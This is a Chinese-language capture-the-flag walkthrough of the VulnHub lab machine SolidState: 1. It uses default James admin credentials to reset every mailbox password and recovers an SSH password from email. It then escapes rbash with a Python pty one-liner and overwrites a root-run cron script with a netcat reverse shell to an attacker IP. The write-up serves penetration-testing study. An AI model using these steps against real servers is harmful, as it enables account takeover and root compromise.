一、前言
OSCP-No.1:主要漏洞利用方式:4555端口james服务默认密码漏洞+rbash逃逸提权
二、靶机信息
靶场: vulnhub.com
靶机名称: SolidState: 1
难度: 中等
发布时间: 2018年9月12日
下载地址:https://download.vulnhub.com/solidstate/SolidState.zip
三、虚拟机配置
网络连接模式为:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1. 探测靶机ip地址
$ sudo arp-scan -I eth0 -l
2、nmap探测目标IP的开放端口
└─$ sudo nmap -p- 192.168.169.133
3. nmap进行靶机端口服务扫描
└─$sudo nmap -p22,25,80,110,119,4555 -sV -A 192.168.169.133
靶机开放22/ssh、 25/smtp、80/http、 110/pop3、119/nntp、4555/james-admin等端口服务
4、搜索james 的漏洞利用方式(在这之前注意:需要对其他端口的服务都进行遍历及尝试)
└─$ searchsploit james
5、将可以RCE的脚本复制到本地
└─$ searchsploit -m linux/remote/35513.py //两个命令意思相同
cp /usr/share/exploitdb/exploits/linux/remote/35513.py /home
6、查看脚本,判断是否可以直接使用。
通过查询,此脚本也是需要登录获取认证才可以进行RCE利用。但发现james服务有一个默认的账号密码情况。
└─$ cat 35513.py
7、通过上述的信息收集,nc去连接james服务,并使用信息收集来的默认账号密码,如不可以,再想办法暴力破解。
└─$ nc 192.168.169.133 4555
8、登录后,判断有哪些命令可以执行(help)
9、通过上述查询,可以进行列用户名、修改用户密码等功能。先查询存在多少用户。
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
setpassword james 123456
Password for james reset
setpassword thomas 123456
Password for thomas reset
setpassword john 123456
Password for john reset
setpassword mindy 123456
Password for mindy reset
setpassword mailadmin 123456
Password for mailadmin reset
10、同样,可以修改用户密码,将所有的用户密码都设置为123456。
11、既然已经把james服务密码已经全部重置了,那通过110端口即可登录用户为:mindy的邮箱。
注意: 每个邮箱都应该进行登录验证并进行信息收集。
└─$ nc -nvC 192.168.169.133 110
12、通过登录上邮箱,可以list发现有2封邮箱,依然进行信息收集,发现了某个邮箱里面存在一个账号密码。 通过邮件内容分析,此账号密码为:SSH远程登录密码,但权限受限。
username: mindy
pass: P@55W0rd1!2@
13、远程登陆,发现第一个flag:
└─$ ssh mindy@192.168.169.133
mindy@solidstate:~$ cat user.txt
14、但通过id命令时,发现此用户确实权限受限,shell方式为:rbash
知识点:rbash它与一般shell的区别在于会限制一些行为,让一些命令无法执行
mindy@solidstate:~$ cat /etc/passwd
此处rbash逃逸方式有很多,可通过本机命令来逃逸,也有通过nc反弹shell 变相逃逸等若干方式
15、方法一(SSH一句话逃逸):
1.选择ssh一句话逃逸,成功逃逸之后,查看james用户的进程运行情况,发现james在/opt目录下:
└─$ ssh 192.168.169.137 -l mindy “export TERM=xterm; python -c ‘import pty; pty.spawn(\”/bin/sh\”)'”
16、通过rbash逃逸后,可正常执行命令,因为mindy用户只是user权限,非root权限,那下一步就是提权。
这个时候就需要全局搜索user用户可以执行的root权限脚本
$ find / -type f -user root -perm -o=w 2>/dev/null
17、通过筛选,可以发现opt目录下有一个tmp.py 符合要求,这个脚本时定期执行的删除临时目录脚本。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v ‘proc\|sys’
$ ls -la /opt/tmp.py
cat tmp.py
18、将输入本机IP作为靶机反向连接的机器,那么我们将它更改程序执行命令的提权代码:
echo ‘import os; os.system(“/bin/nc 192.168.169.129 777 -e /bin/bash”)’ > /opt/tmp.py
19、本地再开启一个nc用来监听靶机的连接,2-3分钟内可得反弹shell,并查询到为root用户。
由此,获取靶机的第二个flag,到此结束。
└─$ nc -lvp 777
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
b4c9723a28899b1c45db281d99cc87c9
到此,此靶机就结束啦!~